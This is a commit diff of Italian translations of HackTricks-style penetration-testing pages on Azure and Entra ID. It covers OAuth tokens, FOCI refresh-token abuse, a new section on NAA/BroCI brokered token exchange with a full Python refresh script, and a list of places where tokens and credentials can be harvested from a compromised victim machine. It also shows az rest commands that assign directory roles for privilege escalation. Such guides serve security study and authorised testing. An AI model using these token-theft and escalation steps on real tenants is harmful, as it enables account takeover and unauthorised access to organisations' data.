Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-03-01 20:13:41 +00:00
parent 6ec3396b18
commit 6470629f49
3 changed files with 670 additions and 159 deletions
@@ -1,86 +1,86 @@
# Az - Token & Applicazioni Pubbliche
# Az - Token e Applicazioni Pubbliche
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di base
Entra ID è la piattaforma di identity and access management (IAM) cloud di Microsoft, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
Entra ID è la piattaforma Microsoft per la gestione delle identità e degli accessi (IAM) basata sul cloud, che funge da sistema fondamentale di autenticazione e autorizzazione per servizi come Microsoft 365 e Azure Resource Manager. Azure AD implementa il framework di autorizzazione OAuth 2.0 e il protocollo di autenticazione OpenID Connect (OIDC) per gestire l'accesso alle risorse.
### OAuth
**Partecipanti chiave in OAuth 2.0:**
1. **Resource Server (RS):** Protegge le risorse possedute dal resource owner.
2. **Resource Owner (RO):** Tipicamente un utente finale che possiede le risorse protette.
3. **Client Application (CA):** Un'applicazione che richiede accesso alle risorse per conto del resource owner.
4. **Authorization Server (AS):** Emette access token alle client application dopo averle autenticate e autorizzate.
1. **Server di risorse (RS):** Protegge le risorse possedute dal proprietario della risorsa.
2. **Proprietario della risorsa (RO):** Tipicamente un utente finale che possiede le risorse protette.
3. **Applicazione client (CA):** Un'applicazione che richiede accesso alle risorse per conto del proprietario della risorsa.
4. **Server di autorizzazione (AS):** Emette access token alle applicazioni client dopo averle autenticato e autorizzate.
**Scopes e consenso:**
**Ambiti e Consenso:**
- **Scopes:** Permessi granulari definiti sul resource server che specificano i livelli di accesso.
- **Consent:** Il processo tramite il quale un resource owner concede a una client application il permesso di accedere a risorse con specifici scopes.
- **Ambiti (Scopes):** Permessi granulari definiti sul server di risorse che specificano i livelli di accesso.
- **Consenso:** Il processo mediante il quale il proprietario della risorsa concede a un'applicazione client il permesso di accedere alle risorse con ambiti specifici.
**Integrazione con Microsoft 365:**
- Microsoft 365 utilizza Azure AD per IAM ed è composto da molteplici applicazioni OAuth "first-party".
- Queste applicazioni sono profondamente integrate e spesso hanno relazioni di servizio interdipendenti.
- Per semplificare l'esperienza utente e mantenere la funzionalità, Microsoft concede "implied consent" o "pre-consent" a queste applicazioni first-party.
- **Consenso implicito:** Alcune applicazioni sono automaticamente **concesse l'accesso a specifici scopes senza approvazione esplicita dell'utente o dell'amministratore**.
- Questi scopes pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
- **Implied Consent:** Alcune applicazioni vengono automaticamente **concesse l'accesso a specifici ambiti senza il consenso esplicito dell'utente o dell'amministratore**.
- Questi ambiti pre-consentiti sono tipicamente nascosti sia agli utenti sia agli amministratori, rendendoli meno visibili nelle interfacce di gestione standard.
**Tipi di Client Application:**
**Tipi di Applicazioni Client:**
1. **Confidential Clients:**
- Possiedono credenziali proprie (es. password o certificati).
- Possono **autenticarsi in modo sicuro** verso l'authorization server.
- Possono **autenticarsi in modo sicuro** al server di autorizzazione.
2. **Public Clients:**
- Non hanno credenziali uniche.
- Non possono autenticarsi in modo sicuro verso l'authorization server.
- **Implicazione di sicurezza:** Un attaccante può impersonare una public client application durante la richiesta di token, dato che non esiste un meccanismo per l'authorization server per verificare la legittimità dell'applicazione.
- Non possono autenticarsi in modo sicuro al server di autorizzazione.
- **Implicazione di sicurezza:** Un attaccante può impersonare un'applicazione client pubblica quando richiede token, poiché non esiste un meccanismo per il server di autorizzazione per verificare la legittimità dell'applicazione.
## Token di autenticazione
## Token di Autenticazione
Esistono **tre tipi di token** usati in OIDC:
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza che di default è 1 ora.
- **ID Tokens**: Il client riceve questo **token dall'authorization server**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
- **Refresh Tokens**: Fornito al client insieme all'access token. Usato per **ottenere nuovi access e ID token**. È vincolato a una specifica combinazione di utente e client e p essere revocato. La scadenza predefinita è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (da un refresh token è possibile ottenere nuovi refresh token).
- Un refresh token dovrebbe essere legato a un **`aud`**, ad alcuni **scopes**, e a un **tenant** e dovrebbe poter generare solo access token per quell'aud, quei scopes (e non di più) e quel tenant. Tuttavia, questo non è il caso con i token di **FOCI applications**.
- Un refresh token è crittografato e solo Microsoft può decrittarlo.
- Ottenere un nuovo refresh token non revoca il refresh token precedente.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Il client presenta questo token al resource server per **accedere alle risorse**. Può essere usato solo per una specifica combinazione di utente, client e risorsa e **non può essere revocato** fino alla scadenza - che per default è 1 ora.
- **ID Tokens**: Il client riceve questo **token dal server di autorizzazione**. Contiene informazioni di base sull'utente. È **vincolato a una specifica combinazione di utente e client**.
- **Refresh Tokens**: Forniti al client insieme all'access token. Usati per **ottenere nuovi access e ID token**. Sono vincolati a una specifica combinazione di utente e client e possono essere revocati. La scadenza di default è **90 giorni** per i refresh token inattivi e **nessuna scadenza per i token attivi** (essendo possibile ottenere nuovi refresh token da un refresh token).
- Un refresh token dovrebbe essere legato a un `aud`, ad alcuni **scopes**, e a un **tenant** e dovrebbe essere in grado di generare solo access token per quell'aud, quegli scopes (e non oltre) e quel tenant. Tuttavia, questo non è il caso con i **token delle applicazioni FOCI**.
- Un refresh token è cifrato e solo Microsoft può decifrarlo.
- Ottenere un nuovo refresh token non revoca il precedente refresh token.
> [!WARNING]
> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un indirizzo IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi potrai usare quel token da un **IP non consentito per accedere alle risorse**.
> Le informazioni per l'**accesso condizionale** sono **memorizzate** all'interno del **JWT**. Quindi, se richiedi il **token da un IP consentito**, quell'**IP** sarà **memorizzato** nel token e poi puoi usare quel token da un **IP non consentito per accedere alle risorse**.
### Access Tokens "aud"
Il valore indicato nel campo "aud" è il **resource server** (l'applicazione) utilizzato per effettuare il login.
Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ciascuno di essi aggiungerà un "aud" specifico nell'access token risultante:
Il comando `az account get-access-token --resource-type [...]` supporta i seguenti tipi e ognuno di essi aggiungerà un "aud" specifico nell'access token risultante:
> [!CAUTION]
> Nota che quanto segue sono solo le API supportate da `az account get-access-token`, ma ce ne sono altre.
> Nota che quanto segue sono solo le API supportate da `az account get-access-token` ma ce ne sono di più.
<details>
<summary>Esempi di aud</summary>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati della directory in Azure Active Directory (Azure AD).
- **aad-graph (Azure Active Directory Graph API)**: Usato per accedere alla legacy Azure AD Graph API (deprecata), che permette alle applicazioni di leggere e scrivere dati di directory in Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)**: Usato per gestire risorse Azure tramite l'Azure Resource Manager API. Include operazioni come creare, aggiornare e eliminare risorse come macchine virtuali, account di storage e altro.
* **arm (Azure Resource Manager)**: Usato per gestire le risorse Azure tramite l'API Azure Resource Manager. Questo include operazioni come creare, aggiornare e cancellare risorse come macchine virtuali, account di storage e altro.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)**: Usato per accedere ad Azure Batch, un servizio che abilita applicazioni di calcolo parallelo e ad alte prestazioni su larga scala nel cloud.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analytics.
* **data-lake (Azure Data Lake Storage)**: Usato per interagire con Azure Data Lake Storage Gen1, un servizio scalabile di storage e analisi dati.
- `https://datalake.azure.net/`
- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di media video e audio.
- **media (Azure Media Services)**: Usato per accedere ad Azure Media Services, che fornisce servizi cloud per l'elaborazione e la distribuzione di contenuti video e audio.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e insight da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
* **ms-graph (Microsoft Graph API)**: Usato per accedere alla Microsoft Graph API, l'endpoint unificato per i dati dei servizi Microsoft 365. Permette di accedere a dati e informazioni da servizi come Azure AD, Office 365, Enterprise Mobility e servizi di Security.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)**: Usato per accedere ai servizi Database di Azure per motori relazionali open-source come MySQL, PostgreSQL e MariaDB.
@@ -88,13 +88,13 @@ Il comando `az account get-access-token --resource-type [...]` supporta i seguen
</details>
### Access Tokens Scopes "scp"
### Scope degli Access Tokens "scp"
Lo scope di un access token è memorizzato nella chiave scp dentro l'access token JWT. Questi scopes definiscono a cosa ha accesso l'access token.
Lo scope di un access token è memorizzato nella chiave scp all'interno del JWT dell'access token. Questi ambiti definiscono a cosa l'access token ha accesso.
Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non potrà eseguire l'azione** con quel JWT.
Se un JWT è autorizzato a contattare una specifica API ma **non ha lo scope** per eseguire l'azione richiesta, **non sarà in grado di eseguire l'azione** con quel JWT.
### Esempio: ottenere refresh & access token
### Esempio per ottenere refresh & access token
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -151,24 +151,25 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
- **acr**: The Authentication Context Class Reference claim è "0" quando l'autenticazione dell'utente finale non ha soddisfatto i requisiti di ISO/IEC 29115.
- **amr**: The Authentication method indica come il token è stato autenticato. Un valore “pwd” indica che è stata usata una password.
- **groups**: Indica i gruppi di cui il principal è membro.
- **iss**: L'issuer identifica lo security token service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (l'uuid è il tenant ID)
- **iss**: L'iss identifica lo Security Token Service (STS) che ha generato il token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: L'object ID del principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo momento, solitamente stesso valore di iat), Expiration time.
- **iat, nbf, exp**: Issued at (quando è stato emesso), Not before (non può essere usato prima di questo tempo, solitamente stesso valore di iat), Expiration time.
## FOCI Tokens Privilege Escalation
In precedenza è stato menzionato che i refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** per cui sono stati generati. Se uno di questi confini viene violato, è possibile effettuare privilege escalation in quanto sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes rispetto a quanto previsto originariamente.
In precedenza è stato menzionato che refresh tokens dovrebbero essere vincolati agli **scopes** con cui sono stati generati, all'**application** e al **tenant** a cui sono stati generati. Se uno qualsiasi di questi confini viene violato, è possibile effettuare privilege escalation poiché sarà possibile generare access tokens per altre risorse e tenant a cui l'utente ha accesso e con più scopes di quanto originariamente previsto.
Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Inoltre, nota che le applicazioni FOCI sono public applications, quindi **non è necessario alcun secret** per autenticarsi al server.
Inoltre, nota che le FOCI applications sono public applications, quindi **no secret is needed** per autenticarsi al server.
I client FOCI noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
I FOCI clients noti riportati nella [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) possono essere [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
### Ottenere uno scope diverso
### Get different scope
Continuando con l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
Seguendo l'esempio di codice precedente, in questo codice viene richiesto un nuovo token per uno scope diverso:
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -185,7 +186,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Ottenere client e scopes diversi
### Ottieni client e scopes diversi
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
@@ -201,30 +202,360 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## Dove trovare tokens
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
Dal punto di vista di un attaccante è molto utile sapere dove è possibile trovare access and refresh tokens quando, per esempio, il PC di una vittima viene compromesso:
A BroCI refresh tokens is a brokered token exchange pattern where an existing refresh token is used with extra broker parameters to request tokens as another trusted first-party app.
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** contiene informazioni sugli utenti che hanno effettuato il login in passato
- **`clouds.config contains`** info about subscriptions
- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, clients e secret). Solo in Linux & macOS
These refresh tokens must be minted in that broker context (a regular refresh token usually cannot be used as a BroCI refresh token).
### Obiettivo e scopo
Lo scopo di BroCI è riutilizzare una sessione utente valida da una catena di app compatibili con broker e richiedere token per una diversa coppia app/risorsa di fiducia. Questo permette di "escalare i privilegi" dal token originale.
Dal punto di vista offensivo, questo è importante perché:
- Può sbloccare percorsi di app first-party pre-consensuate non accessibili con normali refresh exchanges.
- Può restituire access token per API ad alto valore (per esempio, Microsoft Graph) sotto identità di app con ampi permessi delegati.
- Espande le opportunità di token pivoting post-authentication oltre il classico switching di client FOCI.
Ciò che cambia in un NAA/BroCI refresh token non è il formato visibile del token, ma il **contesto di emissione** e i metadati legati al broker che Microsoft verifica durante le operazioni di refresh brokered.
NAA/BroCI token exchanges are **not** the same as a regular OAuth refresh exchange.
- A regular refresh token (for example obtained via device code flow) is usually valid for standard `grant_type=refresh_token` operations.
- A BroCI request includes additional broker context (`brk_client_id`, broker `redirect_uri`, and `origin`).
- Microsoft validates whether the presented refresh token was minted in a matching brokered context.
- Therefore, many "normal" refresh tokens fail in BroCI requests with errors such as `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- You generally cannot "convert" a normal refresh token into a BroCI-valid one in code.
- You need a refresh token already issued by a compatible brokered flow.
Check the web **<https://entrascopes.com/>** to find BroCI configured apps and the trust relationships they have.
### Modello mentale
Pensa a BroCI come:
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
Se una qualsiasi parte di quella catena broker non corrisponde, lo scambio fallisce.
### Dove trovare un BroCI-valid refresh token
One practical way is browser portal traffic collection:
1. Accedi a `https://entra.microsoft.com` (or Azure portal).
2. Apri DevTools -> Network.
3. Filtra per:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Individua la risposta contenente il token brokered e copia `refresh_token`.
5. Usa quel refresh token con i parametri BroCI corrispondenti (`brk_client_id`, `redirect_uri`, `origin`) quando richiedi token per app target (per esempio scenari ADIbizaUX / Microsoft_Azure_PIMCommon).
### Errori comuni
- `AADSTS900054`: Il contesto del refresh token non corrisponde alla tupla broker fornita (`brk_client_id` / `redirect_uri` / `origin`) o il token non proviene da un flow portal brokered.
- `AADSTS7000218`: Il client flow selezionato richiede una credenziale confidenziale (`client_secret`/assertion), spesso visto quando si prova device code con un client non pubblico.
<details>
<summary>Helper Python per BroCI refresh (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## Dove trovare i token
Dal punto di vista di un attacker è molto interessante sapere dove è possibile trovare access and refresh tokens quando, ad esempio, il PC di una vittima è compromesso:
- All'interno di **`<HOME>/.Azure`**
- **`azureProfile.json`** contiene informazioni sugli utenti autenticati in passato
- **`clouds.config contains`** contiene informazioni sulle sottoscrizioni
- **`service_principal_entries.json`** contiene le credenziali delle applicazioni (tenant id, client e secret). Solo in Linux & macOS
- **`msal_token_cache.json`** contiene access tokens e refresh tokens. Solo in Linux & macOS
- **`service_principal_entries.bin`** and msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
- **`service_principal_entries.bin`** e msal_token_cache.bin sono usati in Windows e sono criptati con DPAPI
- **`msal_http_cache.bin`** è una cache di richieste HTTP
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** contiene informazioni su login precedenti effettuati con Az PowerShell (ma senza credenziali)
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni sull'account criptate con il DPAPI dell'utente.
- È possibile trovare altri **access tokens** nei file `.tbres` dentro **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono un base64 criptato con DPAPI con access tokens.
- In Linux e macOS puoi ottenere **access tokens, refresh tokens and id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- Per caricarlo: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** contiene informazioni sui login precedenti usando Az PowerShell (ma senza credenziali)
- All'interno di **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** ci sono diversi file `.bin` con **access tokens**, ID tokens e informazioni dell'account criptate con il DPAPI dell'utente.
- È possibile trovare altri **access tokens** nei file `.tbres` all'interno di **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`**, che contengono una base64 criptata con DPAPI contenente access tokens.
- In Linux e macOS puoi ottenere **access tokens, refresh tokens e id tokens** da Az PowerShell (se usato) eseguendo `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- In Windows questo genera solo id tokens.
- È possibile verificare se Az PowerShell è stato usato in Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
- Se l'utente è **logged inside Azure with the browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flusso di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono poche applicazioni FOCI che permettono il redirect a localhost (come az cli o il powershell module), quindi queste applicazioni devono essere consentite.
- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché **otterrà l'OAuth code per poi ottenere un refresh token dal titolo della pagina di auth finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
- È possibile verificare se Az PowerShell è stato usato su Linux e macOS controllando se esiste `$HOME/.local/share/.IdentityService/` (anche se i file contenuti sono vuoti e inutili)
- Se l'utente è **loggato in Azure tramite il browser**, secondo questo [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) è possibile avviare il flow di autenticazione con un **redirect to localhost**, far sì che il browser autorizzi automaticamente il login e ricevere il refresh token. Nota che ci sono solo poche applicazioni FOCI che permettono il redirect to localhost (come az cli o il modulo powershell), quindi queste applicazioni devono essere permesse.
- Un'altra opzione spiegata nel blog è usare lo strumento [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) che può usare qualsiasi applicazione perché otterrà **il codice OAuth per poi ottenere un refresh token dal titolo della pagina di autenticazione finale** usando il redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## Riferimenti
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}
@@ -3,15 +3,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Nota che **non tutte le autorizzazioni granulari** dei ruoli predefiniti in Entra ID **sono idonee per essere utilizzate in ruoli personalizzati.**
> Nota che **non tutti i permessi granulari** che i ruoli predefiniti hanno in Entra ID **sono eleggibili per essere usati nei ruoli personalizzati.**
## Ruoli
### Ruolo: Amministratore dei Ruoli Privilegiati <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
### Ruolo: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Questo ruolo contiene le autorizzazioni granulari necessarie per poter assegnare ruoli ai principi e per dare più autorizzazioni ai ruoli. Entrambe le azioni potrebbero essere abusate per escalare i privilegi.
Questo ruolo contiene i permessi granulari necessari per poter assegnare ruoli a principals e per concedere più permessi ai ruoli. Entrambe le azioni possono essere abusate per escalation dei privilegi.
- Assegna ruolo a un utente:
- Assegnare un ruolo a un utente:
```bash
# List enabled built-in roles
az rest --method GET \
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Aggiungi più permessi a un ruolo:
- Aggiungere più permessi a un ruolo:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
